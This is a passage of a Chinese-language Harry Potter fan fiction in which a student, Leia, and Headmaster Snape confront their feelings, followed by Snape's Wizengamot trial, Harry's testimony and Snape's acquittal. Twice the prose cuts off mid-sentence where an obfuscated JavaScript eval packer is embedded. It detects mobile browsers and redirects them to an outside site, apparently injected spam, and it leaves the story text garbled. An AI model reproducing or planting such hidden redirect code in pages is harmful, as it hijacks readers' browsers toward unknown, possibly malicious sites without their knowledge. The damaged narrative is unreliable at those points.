“……”蕾雅站在那里,与这位丑陋的女巫对视片刻,在失落感里思索着能拐上去的路径。 不得不承认,高跟鞋真的完全不适合霍格沃茨这种不平的大理石地板。等她好不容易绕过长长的远路抵达奖杯室的时候,她已经疼得寸步难行。而这里早已空无一人,谁也不在。 她抱着最后的一点希望,沿着弧形走廊一路往上来到滴水兽的前面,才想起来她连校长室的口令也不知道。她在寂寥的空气中无奈地叹了一口气,走廊上碎散一地的银色甲胄与几个还没来得及收拾的杂物箱堆砌在那里,好像在嘲笑她的徒劳。 “……算了。” 酒精和疲倦感席卷了她,她感觉走得又疼,又晕,一个不留神,眼眶也随之泛热起来。她再也忍不住,靠着孤寂冰冷的石墙,慢慢滑坐在其中一个木箱子上。她烦躁地解开精致的编发,踢掉那双鞋子,试图让自己好受一点,也等眩晕感和焦急过去。 她不明白,为什么他要这样刻意地躲着她。 是因为讨厌她吗? 好不容易走到今天,好不容易一切都尘埃落定,为什么他依然如此冷淡,依然选择远离她? 想起来,她已经很久没有这么伤心过了。这种无力感,就像是那年夏天练习大脑封闭术时,因为无法控制好感情而被他训斥的那样。可是,她以为他早就不会再那样对她了。因为他们明明已经一起经历了那么多,他明明眼里也会流露出来不及掩饰的关心,这些难道都不真切吗? 酒意渐渐地涌上混乱的大脑,她越想越难过,干脆蜷成一团,将头埋在双臂里,任由眼泪淌下,掉在膝上的裙摆里。 这时候,她听见一声低低的叹息,有人从阴影里走了出来。皮鞋叩在地板上发出沉闷的声响,伴随着衣袍轻轻掠过地面的细碎声音。 那个人停在了她的身前。 蕾雅愣了愣,没有抬头,她知道是谁。 “为什么跑到这里来?”他问,语气里听不出任何的情感。 但仅仅是这样一句简单地提问,就让她把头埋得更紧,完全不想让他察觉自己已然崩溃的内心。 “你不是在里面很开心吗?”他又问,这次的语气里夹杂着一丝讽刺,她听得出来。 “……我并不开心。”蕾雅闷闷地答着,发颤的嗓音里有浓烈的哭腔。 斯内普看得出来面前人在哭,这也是他为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13989280|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么决定走出来的原因。 他垂眸凝视着眼前人,她的黑发披散在一侧,刚才的编发带松松地绑在上面。高窗透进来的大片银白月色侵染她的肌肤,将它们变得苍白,也照亮了她左后肩上一道小小的疤,那是纳吉尼留下的伤痕,如此清晰地停留在他的眼中。 他的手指动了动,随即移开了目光。印象里,他从来没看见过她难过成这样,她总有许多的坚定和倔强,总是会消化好情绪,至少,从来不会让他看到分毫的脆弱。他忍不住想象,她本来大概是打算在这里哭完,然后安静地离开。第二天,她又会如同往常一样对所有人绽开笑容。原来啊,一直以来也并不是她有多么坚强固执,她只是善于伪装而已。 想到这里,他的心里忽而泛上许多的不忍心。他知道是他的故作冷漠伤害到了她,而这并非他的本意。 “我今天处理的事已经够多了,莱恩哈特。”他平淡地说着,让她感到疏离。 “……我知道,我没打算打扰您。”她的话几乎低微得听不见。她从臂弯里侧了侧脑袋,胡乱地抹着眼泪,“我只是……对不起,先生。您先走吧,我等下就离开。” 忽然,有温热的触感按在她冰凉的肩膀上,是他。 “蕾雅。”他低声唤着她的教名,他在她的身前缓缓地蹲下,直视着眼前人。 她错愕地抬起头来,以一双浸满泪水的绿眸对上眼前人拧在一起的眉心。 落寞的月落在他的脸上,他看起来显然没有比她好多少。黑曜石般的眼眸中浸满了同样的苦涩,高傲的鼻梁被微光映出忧伤的阴影,薄唇下沉的弧度在无声地在诉说着他的痛楚。 她的泪掉得更凶了,因为她明白,无论他有多么擅长掩饰情感,也是无法隐藏住心底最原始、最炽热的真心,那些感情被写在了他的每一个举动、每一个眼神里,从很久以前就是这样。 是爱意,也是挣扎。 那为什么,相爱的人不能在一起呢? 她趁着酒意,小心翼翼又大胆地开了口:“我是不是,惹你生气了?是不是我做了什么……是不是因为刚才我和……” 斯内普低哼一声,摇了摇头,声音低沉地说:“不是你的问题。你要明白,我是校长,你是我的学生,这是有界限的。” 她怔怔地看着他,执着地追问:“那如果我毕业了呢?那要是我说,我愿意等呢?” 斯内普垂下眼睑,依然轻轻地摇了摇头,“或许我早该告诉你,我并不是你想象的那样。” 听到他的话,蕾雅再也无法控制自己的情绪。泪水不断地在滑下,她咬紧嘴唇,想要在他面前抑制住眼泪,但是那么的徒劳,它们就好像无法止住一样顽固地坠落,滴滴答答地砸在她的衣服上,砸在地面上,砸出一个个圆。她哽咽着,胸口的疼痛和眼睛的炙热交织在一起,编出的话语却断断续续得连不成一句:“我只求你别推开我……我可以等,无论多久。” 她的泪在他的心底形成了一片湖,湖水汹涌而深,似将他淹没。 他看着她哭得发抖的肩膀,看着她挂满泪水的长睫,看着那么多的泪珠扑簌地沿着她的脸庞滑落,将脂粉都染开,淌在她的锁骨上面,留下一道道被月华清辉照得透亮的痕迹。 他曾在脑海里设想过一千次不得不推开她的情景,但当这一刻真的摆在面前,他又怎么会预料到,他的心疼剧烈得宛如要硬生生撕裂身躯。 再无动于衷的人见这一幕也必然难以自禁,更何况他的心里早就有她。 黑袍里的手紧握成拳又松开,他叹了一口气,伸手轻轻拂去她的眼泪。第一次,他的声音软了下来,带着乞求的颤抖,“……别这样。”他痛苦地闭上了双眼,让不得已的措辞从发紧的喉中滚出:“我并不值得你的心意。” “……那你自己的心意呢?”她依然倔强地问。 斯内普顿住了,感觉自己僵硬得像块伫立与荒漠之中的石头,说不出话。他沉落在深暗的静默里,脑中想到很多拒绝或者回避这个问题的方式,最后决定尝试将这句话说得一点也无所谓般:“那不重要。” “怎么可能不重要!”蕾雅瞬间被他的话刺痛,她用力地攥住他的手,呜咽着说道:“你是怎么想的?告诉我。” 她的温暖传递过来,就像有什么东西在他胸口深处轻轻凿着,一下又一下,力度不大,但却让他感到钝痛。 他再次沉默,想收回手,但又还是放任自己沉沦在她的触碰里,好像只要不睁开眼,这或许就可以当作是一场梦。一场,他不敢奢想的梦。 他是怎么想的?这真的重要吗? 这么多年了,从来没有人像她这样如此认真地问过他这个问题。他曾以为,再也不会有这样的人存在。 他其实很清楚问题根本不在她身上,也不在年龄,也不在身份,这些都不过是他用来推开她并且说服自我的措辞。真正的问题在于——他害怕。 他怕自己不够好,怕对不起她这一路无端为他做的这些事。他怕他的古怪性格和阴沉难测的脾气让她感到失望,怕她有一天看到真正的他——那个并不高尚、不完美,甚至有些丑陋的他,然后像所有人一样抛下自己。他必定会再一次跌落悬崖,粉身碎骨。 毕竟在他的世界里,一切都必须付出代价,而幸福——对于他来说,是一种他永远支付不起的奢侈。他已经失去了所有能够用来支付的筹码。 他睁开眼睛,但已无法看她。她眼中的光太亮,照得他几乎无所遁形。 在那短短的数秒间,蕾雅从他脸上的痛苦中清晰地看穿了他的所有心事。她用另一手抚上了他的脸庞,指尖轻微颤抖着滑过他的眼底,来回摩挲,好像要抚平那些年深日久留下的痕迹,又好像在对他说,别怕。 她缓缓开口,声音轻若蝉翼,却坚定地回响在他的心里:“不用是今天,我也不奢望你会回应我,但至少,让我们谈一谈,好吗?” 她手上的柔软令他无法挣脱,犹豫了半晌,斯内普深吸一口气,终于直直地看着她,仿佛是用尽了全身的力气才从喉咙里挤出声音般说:“给我一点时间。” 她抿住唇,泪眼中透出了然。她点了点头,用手指勾勒着他的唇角,轻声说:“我会等你,直到最后一刻。” 斯内普回望她一眼,随后领着她站起来,“回去吧,我知道你喝酒了。” 他低头静静地打量着她哭花的妆容还有凌乱的头发,最终还是探出手,替她稍稍整理了一下。他将她的长发别回耳后,指尖缓慢地掠过她小巧的耳廓,擦过她的绣球花耳环,最后抹去她面颊上晕开的泪痕。 “还能走得动吗?”他扶着她穿好鞋子,带着一丝揶揄问到。 “嗯,到公共休息室应该没问题。”她认真地点了点头,朝他牵了一个安心的笑容。而后温柔地按了按他的手腕,才松开了他,“您回去休息吧。答应我,好好睡一觉,好吗?” “我会的。”他回答。 斯内普送她走下楼梯,在长廊这头望着她拖着裙摆晃晃悠悠地走出奖杯室。只见,她刚踏上大理石楼梯,就被突然从墙壁里穿出来的尼克爵士吓了一跳,这让他在这边也不由自主地勾起嘴角。 但笑意仅在他的脸上短暂地停留,很快就被敛住。他转身踏上通往校长室的楼梯,重新沉浸在寂静空旷的氛围里。 他忽然想起刚刚在礼堂前觉得自己是个异乡人的事。 怎么不是呢?一个本该漂泊无家的浪子,以为在漫长煎熬的旅途里已练就了铁石心肠。 直到她闯入他的世界。 64.辩白 再次见到赫敏和拉文德的时候,已经是第二天的早上。 蕾雅打着哈欠在阳光里坐起身,窗外正是湛蓝得一望无际的天空,几朵白棉般的云团慢悠悠地飘进她的视野里,有不知道谁养的猫头鹰正停在城堡的一支旗杆上,同样动作迟缓地梳理着羽毛。零落的灰白杂毛被风吹散,变得薄薄一片,仿佛也化成了云。 “你醒了?”赫敏的声音从房间的另一侧传来,“我的灰姑娘,昨晚怎么样了?” 蕾雅闻声转过头来,越过那些隆重的红色帷幔,瞥见赫敏正坐在书桌前面。她的褐发在脑后胡乱地扎成一团,手边堆着高高一叠、各种颜色的教材,看起来就像是马上要去考试一样。 “什么是灰姑娘?”还没等蕾雅来得及回答赫敏的问题,拉文德懒洋洋地从床上探出头来问道,她的手里拿着一本巫师杂志。 “嗯……”蕾雅愣了愣,想起拉文德是在纯血家庭长大的,并不知道这些童话故事,她伸了个懒腰,边起床边说道:“麻瓜童话,十二点就会魔法失效的公主。” “哦?倒也挺应景。”拉文德反应过来赫敏的意思,随即笑了。她翻过一页杂志后,调侃般:“不过你昨晚可是十点就睡着了呢,我跟赫敏回来的时候都不敢发出声。” 蕾雅被她的话弄得难堪,只好继续挥动魔杖叠好被子,动作利落地套上校服,边系着领带边随口应着:“喝了点香槟,回来就困了。” “所以,”赫敏打断两个人的闲话,把话题掰回原本,“昨晚到底怎么样了?” 蕾雅没有立刻回答,她一个接一颗地扣好扣子,又慢慢地梳理好头发,把昨晚没收拾好的饰品放入抽屉里,换出一副比较简单的耳环戴上,才道:“没怎么样……” 赫敏听到了她话语里的失落,迅速扭过了头,就在她脸上观察到更浓重的难过。 “不是挺好的吗。”正在看书的拉文德没察觉这边的情况,嘟哝着接过话。可是她突然就顿住,猛地按下杂志,皱起眉头再次探头飘向蕾雅,“等等,你别告诉我,你喜欢的不是珀西·韦斯莱?” 蕾雅尴尬地对拉文德扯出一个抱歉的笑容,拉文德大概明白是什么意思了。 “你呀。”赫敏没有理会拉文德的反应,而是长长叹了一口气,表情比蕾雅的看起来还要低落,“算了,要不还是好好准备考试吧。” “其实……”实在是不愿意好友如此担心,蕾雅错开视线:“也不算很糟糕。他说……” “他说什么?”赫敏被她的话重新吸引住,挑起眉毛,紧张地问道。 蕾雅抿了抿唇,深吸一口气:“他说,给他点时间。”她后知后觉地红起脸来,赶紧补充道:“这……我也不知道他什么意思。” “真的吗?!他这么说的?”赫敏扔下手上的东西,连忙起身走到蕾雅的身边,拉着她重新坐回床上,急切地追问:“什么情况说的?你快告诉我。” “嗯……”蕾雅大概把昨晚的情况复述了一遍,让赫敏听得一愣一愣的,一时之间,竟难以相信这些话是从斯内普嘴里说出来的。 过了许久,赫敏的脸上依旧满是惊讶和思虑,她沉默地捏了捏蕾雅的手,微笑地说:“我觉得这已经是很大的突破了,你就安心等着吧。” 蕾雅若有所思地点点头,释然地牵开一抹笑容。她怎么会不知道呢,那可是斯内普一脸认真而挣扎地对她说的话——至少,这次她可以从他那里得到一个真正考虑过她感受的答案,而这,大概已是极大的进步了。 这会儿,寝室里就只有拉文德还在云里雾里。她隔着床帘盯着面前的两人,半开玩笑,半是不太着急:“我突然不想知道他是谁了,免得减少了你们真的在一起的那一天的惊喜感。到时候记得要告诉我!” “我答应你,只要你保守秘密!”蕾雅笑着应付道。 “什么?你这样说的话,那我现在就想知道!”拉文德倏地坐起来,认真地观察着蕾雅,“到底是谁啊这么神秘?” “好啦。”赫敏对她俩摆了摆手,起身走回书桌前,换了一个话题:“不过现在没时间让你们担心这些了,赶紧起床准备考试吧,日期的公告已经贴出来了。” …… NEWTs的考试时间是趁着那天晚会的时候贴在各个学院的公共休息室里的,定在了十月的一号。与此同时,公告里也写着霍格沃茨将会在暑假期间继续NEWTs科目的教学,持续到考试,好让学生们有足够的准备来应对。 至于战后缺少教授的黑魔法防御课,会继续像这个月以来的一样,由卢平教授和布莱克先生轮流授课。而暂停的麻瓜研究课则会由魔法部派来的亚瑟·韦斯莱先生临时代为执教,直到找到合适的新教授为止。 当然,这些都是邓布利多的刻意安排,不然以斯内普校长的作风,是宁愿自己忙碌到没有时间睡觉来教黑魔法防御术,也不会让卢平和布莱克重新回来霍格沃茨。 不过,这个仓促公布的告示,忽而让蕾雅想起斯内普那天在魔法部里,叮嘱她把心思放在考试上面的事。也正因为这个公告,今天出席审判会的高年级学生少了几乎一半。赫敏也一大早跟蕾雅表示,既然大家已经心知肚明斯内普审判会的结果,她觉得比起出席审判会,更应该利用这点时间好好抓一下罗恩的学习。 所以,今天就只有蕾雅和哈利两个人来了。 正如赫敏所说,其实就在第一次审判会后的第二天(也就是昨天),《预言家日报》已经大肆宣扬斯内普的功绩,把他描绘成一个敢于牺牲自我、甘愿默默无名的战争英雄。结合战后霍格沃茨的人事变动——邓布利多将任霍格沃茨名誉校长,而实际的校长由斯内普出任,报道称斯内普为“霍格沃茨的真正守望者”、“邓布利多的接班人”。文章的末尾,还配了一张斯内普在那日晚会上与诸位家族族长握手募捐的照片,底下的文字赫然写着“霍格沃茨,新时代的到来”。 此时,蕾雅和哈利正挤在大批同样涌向威森加摩审判室的人群中,缓慢地朝目的地前进着。为了不引起更多的堵塞,哈利今天还特意戴了一顶帽子。他们穿梭在形形色色、着装各异的巫师之间,硬是排了十分钟的队才坐上电梯。 等电梯抵达九层,两个人耐住性子,等着面前这些步伐蹒跚的人缓慢地走出长廊里。 “谢谢你陪我来。”哈利低着头跨出电梯,叹了一口气,扶着帽子轻声暗示:“虽然我知道你不只是为了我来的。” “你准备好了吗?”蕾雅微笑着跟随他的脚步,没有过多在意哈利话里藏着的话。 “算是都写下来了。”哈利给她递过一个眼神,从口袋里轻轻抽出羊皮纸的一角,“不过,我倒觉得他不太需要我的证词。” “他需要的,毕竟他这十七年,都是为了你啊。”蕾雅拍了拍哈利的肩膀。 哈利因此顿了顿,重新将羊皮纸塞进口袋,别过脸看向蕾雅,翠绿色的眼睛中浮现出一点茫然:“大家都这么说,但我到现在都没明白他为什么要这么做。上次你跟我说他是为了赎罪,可我觉得他做的这些已经太过了。” “今天会后,你不妨试着问问邓布利多先生?”蕾雅眼睛一转,心想着既然自己不能告诉哈利,那邓布利多总可以吧。这时,她眺望见雷格纳站在分岔的路口,靠着黑漆漆的墙柱,不时向人群张望。她领着哈利拨开人潮走过去,“是爸爸在等我们。” 雷格纳今天穿着一身墨绿色的西装,也注意到了他们,他招了招手,有些焦急地瞟了一眼腕表,嘀咕道:“今天人也太多了,你们在下面等了很久吧?” “莱恩哈特先生,早上好。”哈利对雷格纳礼貌地打了个招呼,回答:“嗯,等了十分钟的电梯。” “早,哈利。”雷格纳压低声,谨慎地避免其他人听见他的名字。他盯着哈利,突然停住了半拍,眼睛来回在哈利和蕾雅的脸上掠过:“哎哟,我老听到别人说你们的眼睛长得像。这么一看,还真的让我感觉哈利像是我儿子了。” 哈利不好意思地挠了挠后脑勺,蕾雅倒是打趣般开口:“那爸爸你也太幸福,养了像哈利这么厉害的孩子。” 雷格纳愉悦地笑开,转过身打开身后的隐藏门,侧了侧头示意两个人跟上:“来吧,我带你们走个近道,不然从这挤过去都不知道还能不能有座位,我是从来没见过这么热闹的审判会。” 三人安然无恙地来到魔法部最大的审判室时,斯内普和邓布利多已经坐在那里讨论着什么了。他们的身边,还坐着卢平和布莱克,但是麦格以及弗立维教授倒是没有来,大概是因为今天有课。 蕾雅略略一扫视,发现场上坐满了许多陌生的面庞,还有很多记者和作家,他们的视线都纷纷聚集在斯内普和邓布利多的那侧,议论声此起彼伏,吵杂得根本不像一个肃穆的法庭,就连四周深黑的石头墙壁也压不住这份热闹。 他们向坐在席上的书记员珀西打过招呼,随后跟之前一样坐到高高的后排。雷格纳则在斯内普落座房间中央的位置后,坐到了邓布利多的身边。他们都坐定的须臾,很快,现任魔法部长金斯莱抱着一叠厚厚的文件,神情庄重地走进审判席。他一丝不苟地将文件一一在面前摊开,不轻不重地敲响手中的小锤,宣告最后一场审判的正式开始。 今天要发言的证人比上次少了很多,在纳西莎·马尔福坚定地陈述过关于斯内普立下的牢不可破誓言的经过以后,就轮到了哈利。 哈利摘下鸭舌帽,把头发抓得蓬松,在一众好奇而略带审视的目光里起身,宣誓过后便拿出口袋里的羊皮纸,清了清嗓子,开始叙述: “首先,我必须向各位表明。在霍格沃茨的近七年间,我一点也不喜欢斯内普教授,坦白来说,我甚至讨厌过他很多年,不停地怀疑他的身份。因为从一年级开始,他就对我总是很苛刻,经常让我觉得自己什么都做不好。” 这番直率的开场直接引得审判室内响起一片惊讶的喧哗,谁也没想到这个压轴出场的救世主竟然开场就毫不掩饰地表明对当事人的讨厌。蕾雅对哈利的直白感到震惊,一脸惊恐地望出去,同时注意到了斯内普不以为然地耸耸肩,身后是布莱克没忍住的淡笑,以及审判席上金斯莱同样讶异的脸。 她急忙转头望向身旁的哈利,眼神中满是询问,想确定他是不是拿错了羊皮纸。哈利用一个安抚的手势向蕾雅示意不要担心,以清澈的嗓音继续念到: “但是,尽管斯内普教授对我严厉到极点,也无法掩盖他保护了我整整七年的事实。 一年级时,是他在魁地奇比赛上保护了我。当时奎里纳斯·奇洛被虚弱的伏地魔附身,试图施咒让我从扫帚上坠落,是斯内普教授不断地念反咒,尽管我当时完全误会了他的意图,以为他是在加害我。 三年级,斯内普教授曾在我、赫敏和罗恩被当时认为是杀人犯的西里斯出现的时候赶来,却被我们打得重伤,他带着伤醒来后,还把我们所有人用担架运回了霍格沃茨,保证我们的安全。 四年级,三强争霸赛期间,伏地魔复活了,他亲自以手上的黑魔标记让福吉部长正视这个事实。随后,他按照邓布利多先生的指示重新潜入了食死徒,而我对这一切一无所知。 五年级,因为伏地魔与我之间的精神连接,他开始教我大脑封闭术。现在想来,当时他应该是很着急我学不会这项技能,所以对我很严厉。我那个时候的情况也很糟糕,根本没想清楚我为什么要学大脑封闭术,所以我对他感到愤怒。我不仅不按照他的指示训练,甚至以铁甲咒反弹了他的摄神取念,看见了他最痛苦的记忆。但就是这样,他还在暗中为我们提供治疗剂和假的吐真剂,联系凤凰社。其实直到蕾雅前天在庭上说出这些,我才明白为什么当时乌姆里奇对我的审问不管用。 六年级,他开始教授我们黑魔法防御术,并在那一年杀了邓布利多先生。这让我对他憎恨到了极点,甚至深信他是伏地魔最忠实的追随者。他逃出霍格沃茨的那一天,我一路追出去,他从其他食死徒手里保护了我,尽管我一直用魔咒挑衅他。 七年级,我知道他首先策划了七个波特的计划,让我顺利从暴露的凤凰社根据地转移到韦斯莱陋居。之后,我踏上了寻找魂器的逃亡之路,就当我在迪安森林因为魂器的干扰而身心俱疲的时候,是他在深夜里暗中送来了格兰芬多之剑,让我以此破坏了魂器。我也凭借这把剑,换得拉环带我们进入古灵阁的机会,摧毁了另外一个魂器。” 哈利的话说到这里,整个审判室再次陷入震撼的静默,无声的寂静中,一众的巫师们全部都在埋头,疯狂地消化着一笔笔斯内普曾做过的事。蕾雅也颇感惊讶,从来没想到他一路以来竟然做了这么多的事,他到底还有多少事是她不知道的? 她这么想着,眼睛无法移开般凝视场中央的黑色背影,他跟前天没有任何区别,冷淡地把手交叠着按在腿上,脸埋在垂落的黑发底下,丝毫没有任何受到证词的影响,更不为哈利毫不掩饰道出的厌恶作出任何感想。 “后来,战争的那一晚,当斯内普教授告诉我所有事实。我才知道,当初伏地魔全面掌权的时候,他曾回到凤凰社根据地,故意制造出混乱的场景,为了让我察觉到,这张掉落在那里的照片——是我和我父亲詹姆斯·波特的。这让我有了继续前往寻找魂器的决心。”哈利用左手举起记录着波特父子的半张照片,继续道:“最后,在我对付伏地魔前,他又亲手把另外一半照片交给我,是我的母亲,莉莉·波特。这让我有了直面死亡的勇气。” 哈利又用右手举起描绘着莉莉·波特笑颜的半张照片,而后慢慢地把两半的照片拼合在了一起,“我不知道斯内普教授为何布置了这一切,但我必须承认,正是他安排的这些细微,才让我一路走到了这里。而这些,我相信,只是他在不为人知的背后所做的冰山一角,或许他还做了更多。” 这个时候,全场所有的目光都复杂地看着斯内普,什么表情都有。 “说实话,我到今天还都很困惑,为什么斯内普教授会选择这样做。但此时,我觉得什么样的原因也都不重要了,因为没有他,我不可能还活着站在这里提供证词,我们不可能坐在这里开这样一场审判会。而我——也根本不会知道,他一直用他的方式,保护、守护了我。尽管我到现在,还会感到讨厌他,但他可能是我见过,最勇敢的人。” 当哈利结束发言,他郑重地折叠起手中的羊皮纸,朝审判席上微微鞠躬,然后坐下。蕾雅惊讶地对他眨了眨眼睛,但他只是淡淡地笑着,没有说话。 金斯莱从文件堆里抬起头,缓慢地扫过在座的人,严谨地问道:“所有证人的陈述已经结束。还有没有其他人想要补充什么?” “有。” 有一个声音在大厅里回响着,宛如划破时间的利箭般瞬间吸引了所有人的注意,因为那是当事人西弗勒斯·斯内普,他正漫不经心地举起了手。 “请说。”金斯莱示意他可以发言。 斯内普缓缓站直,整理了一下笔挺垂落的黑袍,那双深邃的黑眸没有任何的温度地直视前方,语调也平直到没有任何色彩:“我知道你们急于在战后塑造一个英雄的形象,甚至试图把我描绘成某种圣人,但我必须澄清一点——我不是你们想象中的那种人。 “我并非伟人,也并非毫无过错。我有我的私心,也有我的黑暗面,我曾犯下无数的错误。虽然魔法部已确认过我的魔杖,知道除了现在还活着的阿不思·邓布利多之外,我并未直接夺走任何人的生命。但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14006816|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 他停顿了一下,面无表情地端详正不安而躁动的人群。高台上的蕾雅和哈利面面相觑地皱紧眉头,邓布利多和雷格纳满脸的疑惑与急切,布莱克和卢平亦是一副不解的神情。他慢慢地收回目光,继而沉声说到:“我曾因过失或者袖手旁观间接导致了不少人的死亡。比如,莉莉·波特和詹姆斯·波特,彼得·佩蒂格鲁,还有凯瑞迪·布巴吉,这些都是不可抹去的事实。如果你们要评价我的行为,请从全貌来评判,而不是以某些片面的善举来美化我。” 他低吸一口气,眼底深埋的阴郁和自嘲逐渐浮出,从喉中淌出的话语确是沉稳而隐忍:“我希望你们知道这些真相。我不愿被视作一个没有瑕疵的圣人,因为我从未那样高尚,我的手上也并非毫无血迹,我本是应受威森加摩制裁的罪人。”他的话音落下,一脸淡然地坐回软椅上面。 空气凝结住了,宛如沉在黯然深海最底那样,湍急的水流悄然裹住在场的每一个人,也夺走了他们所有的言语。哈利的眼睛瞪得大大的,金斯莱和邓布利多也在其间怔愣了片刻,但很快便交换了一个明白了然的眼神,相视会心一笑。 这无疑是审判,由西弗勒斯·斯内普对他自己发起的。 良久后,金斯莱重新确认过没有人要发言,总结道:“既然没有其他的补充,那么,我们将进入最后环节。”他转向身后统一穿着紫红色长袍的陪审员们,以洪亮的声音问道,“我相信你们都已阅读全部审判材料,也已听过所有证人的证词。那么,赞成对西弗勒斯·斯内普指控成立的请举手。” 在这昏黑的审判室里,没有人说话了,也没有一只手抬起。人们只是保持着那种敬畏的姿态注目斯内普,好像完全没有听见过他刚刚的发言。 金斯莱略有满意地扬了扬下颚,起身时重重地敲下手中的威森加摩审判锤:“我宣布,对西弗勒斯·斯内普的一切指控皆不成立。”他微笑着合上了手中的文件夹,看向场内逐渐变得喧闹的人群,又一次抬手恢复了秩序。“安静,审判席还有话要讲。” 随着房间重新安静下来,金斯莱正式地直视着坐在房间中央的霍格沃茨校长,严肃有力地开口:“在这里,我以现任魔法部部长的身份宣布,鉴于西弗勒斯·斯内普在第二次巫师战争中的英勇表现及他对保护巫师界和平所作的牺牲和努力,魔法部决定提名他为一级梅林勋章候选人。” “同时,魔法部决定在此提名哈利·波特先生、米勒娃·麦格女士、雷格纳·莱恩哈特先生、莱姆斯·卢平先生、西里斯·布莱克先生为一级梅林勋章候选人。 “赫敏·格兰杰女士、罗恩·韦斯莱先生、蕾雅·莱恩哈特女士、纳威·隆巴顿先生为二级梅林勋章候选人。以表彰他们在第二次巫师战争的黑暗时期表现出的无与伦比的勇气和决心,正是他们的挺身而出,才让我们得以在今日重获光明。 “至此,我宣布审判会正式结束。” 审判室内的巫师们纷纷起立,掌声和欢呼震响了整个空间,就快要把天花板的水晶灯也摇曳下来那样。所有的人都在沸腾,吵闹不堪地簇拥着这些战后明星。 蕾雅跟哈利像块木头一样呆坐原地,想着罗恩和赫敏没有来可真是太过正确的选择。但他们谁也没有开口,只是看着大片的、黑压压的人不断地涌动,挤压,推耸,像是袭来的暴风雨一样,骇人惊悚到她想要仓忙逃离。 可是退路在哪里呢?她不敢起身,只是怔怔地望着前方,她的视野略过那片喧嚣,望见审判席上的金斯莱走下来,将一个证物袋一样的东西交给了斯内普。斯内普接过后掂了掂,顺手收入长袍口袋,之后耐着性子避开压向他的大批巫师,往邓布利多走去。他们低声说了些什么,邓布利多露出一个赞同鼓励的笑容,斯内普很快便转身,好像在尝试挤出人群离开。 “他在看你。”这是哈利在终于回过神来以后的第一句话。 蕾雅微微一怔,还处在自己和父亲同时获得梅林勋章的冲击里,木讷地回:“谁?” 哈利调皮地笑了一下,用手肘碰了碰蕾雅,等身边人终于缓过来后,指了指不远处的门口。 蕾雅顺着哈利的暗示侧过脸,视线就不偏不倚地撞上斯内普的。他双臂抱紧,黑眸越过大半个审判室定定地注视着她,在人潮中对她颔首示意,然后转身,消失在门外。 “去吧。”哈利小声劝着,推动她站起来,又补充:“你爸爸那里,我等下去说。” “嗯,谢谢。你记得去跟邓布利多先生谈谈。” 她艰难地穿过这些过分热情的巫师,走向斯内普。当她终于走到他附近的时候,他在拥挤的人海里找到她,探出手稳稳地将她拉到他身旁。 “你今天没有课吧?”他保持着礼貌而客气的笑容,面对沿途向他示好的巫师,同时低声询问她。 “下午有一节魔药课。”蕾雅轻声应着。 “那么,就当作没有吧。”他毫不犹豫地答。 喂,你可是校长,斯拉格霍恩也是你的魔药学教授诶。 蕾雅在心里轻轻地笑着想。 他们一起离开吵到耳朵发疼的走廊,进入电梯。在缓慢下行的电梯轿厢里,他小心地把她护在角落,隔开了人群。他沉默地注视着她,嘴唇紧闭,脸上没有任何悲喜。 而她,只能困惑地回望他无光冷傲的双眼,好像那里面有写着答案一样。她安静地看了好一会儿,发现他的脸色看起来好了很多,看来是没有食言地好好休息过了。不过,她仍看不出他这一连串举动的打算,只感觉到他们现在的距离过于接近,近到她不仅清楚地闻到他身上的气味,还可以听见他有点加快的心跳。 一路无言的静默里,他带着她从魔法部鲜为人知的侧门拐出,暂时摆脱令人烦躁的噪音。 两个人来到明媚炽烈的日光下,过分强烈的午阳毫不客气地从天边坠下来笼罩着他们,也给她脑袋上几根弯翘的毛茸新发镀上金边,莫名让他想起那晚替她整理过的发丝触感。 她眯着眼睛,举手在额前挡住眩光,是还没适应从魔法部大片的黑光走到明亮的日辉里。但她依然清楚地感觉到他的注视,连忙不安地询问:“怎么了?” 斯内普不动声色地往前迈了一步,背过身盯着她,阳光从他的肩膀边缘凌冽地擦过,大片阴影落在她的眼前,宛如霍格沃茨禁林远山上渐渐滑落的暗夜霜雪。她垂下刚刚遮挡光线的手,抬起头看向他。 “脚,好些了?”他漫不经心地低下头,瞄向她校裙底下的马丁靴。 “嗯,我上了药水。”她顺着他的话答,又轻轻地试探:“您找我,有事?” 斯内普紧盯她迷惑不已的神情,心里为又一次捉弄到她而感到有一点不该有的愉悦。他吞咽了一下,收起不想让她洞察到的细碎,过了好一会儿,故作镇定地开口道:“那些话,你是想现在听,还是想考完试听?” “什么话?”蕾雅歪了歪脑袋,挑起眉毛,讶异不已。 “……”斯内普不悦地扯了扯嘴角,忍住想要狠狠敲她一下的冲动,皱眉瞪她一眼。 “啊!”她忽然就意识过来了,旋即双手合十抵在嘴边,眼睛睁得比刚才听见获得梅林勋章还要大。 斯内普露出一个似笑非笑的表情,黑色的眼珠漫不经心地移到另一侧,语调里也掺杂着几分讽刺:“既然你没有在第一时间想到,那看来也不是那么重要。我建议还是等你考完试再听吧。”话毕,他装作要离开的样子侧过身。 “不行!”她迅速伸手紧紧揪住他的衣袍,神色慌张到颤抖地摇着头说:“就现在!就今天!你不许跑!” 就在这一瞬,他的嘴角掠过晦暗的笑意,他反手握紧她的手腕,两个人一起消失在空气里。 65.让我来说 一个陌生的地方。 也许可以称为一个陌生的河畔边。 